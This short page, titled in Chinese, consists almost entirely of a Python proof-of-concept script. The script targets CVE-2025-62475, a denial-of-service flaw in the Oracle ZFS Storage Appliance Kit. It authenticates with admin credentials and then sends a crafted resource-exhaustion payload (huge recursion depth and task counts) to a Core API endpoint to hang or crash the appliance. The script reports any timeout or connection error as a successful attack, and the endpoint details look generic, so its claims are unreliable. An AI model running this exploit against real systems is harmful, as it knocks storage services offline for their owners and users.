CVE-2025-62475 Oracle ZFS存储设备套件Core组件拒绝服务漏洞

# CVE-2025-62475 - Oracle ZFS Storage Appliance Kit DoS PoC # Vulnerability: Denial of Service via Core component # CVSS: 4.9 (MEDIUM) - AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H # Affected Version: 8.8 import requests import sys # Target configuration TARGET_HOST = "https://<target-zfs-appliance>:215" ADMIN_USER = "<high-privilege-username>" ADMIN_PASS = "<high-privilege-password>" def exploit_dos(): """ Trigger DoS condition in Oracle ZFS Storage Appliance Kit Core component. Requires high-privilege authenticated session via HTTP. """ session = requests.Session() # Step 1: Authenticate with high-privilege credentials login_url = f"{TARGET_HOST}/api/auth/login" auth_payload = { "username": ADMIN_USER, "password": ADMIN_PASS } try: resp = session.post(login_url, json=auth_payload, verify=False, timeout=10) if resp.status_code != 200: print(f"[-] Authentication failed: {resp.status_code}") return False print("[+] Authenticated successfully with high-privilege account") except Exception as e: print(f"[-] Connection error: {e}") return False # Step 2: Send crafted request to Core component to trigger hang/crash core_endpoint = f"{TARGET_HOST}/api/system/core" # Crafted payload designed to trigger resource exhaustion # in the Core component's request handling logic malicious_payload = { "operation": "recursive_scan", "depth": 999999, "concurrent_tasks": 9999, "timeout": 0 } headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } try: # Send the malicious request to trigger DoS resp = session.post( core_endpoint, json=malicious_payload, headers=headers, verify=False, timeout=30 ) print(f"[+] Exploit request sent. Response: {resp.status_code}") print("[+] Target system may now be in hung/crashed state") return True except requests.exceptions.Timeout: print("[+] Target timed out - possible DoS condition triggered") return True except Exception as e: print(f"[+] Connection failed: {e} - possible DoS condition") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-62475 - Oracle ZFS Storage Appliance Kit DoS") print("=" * 60) exploit_dos()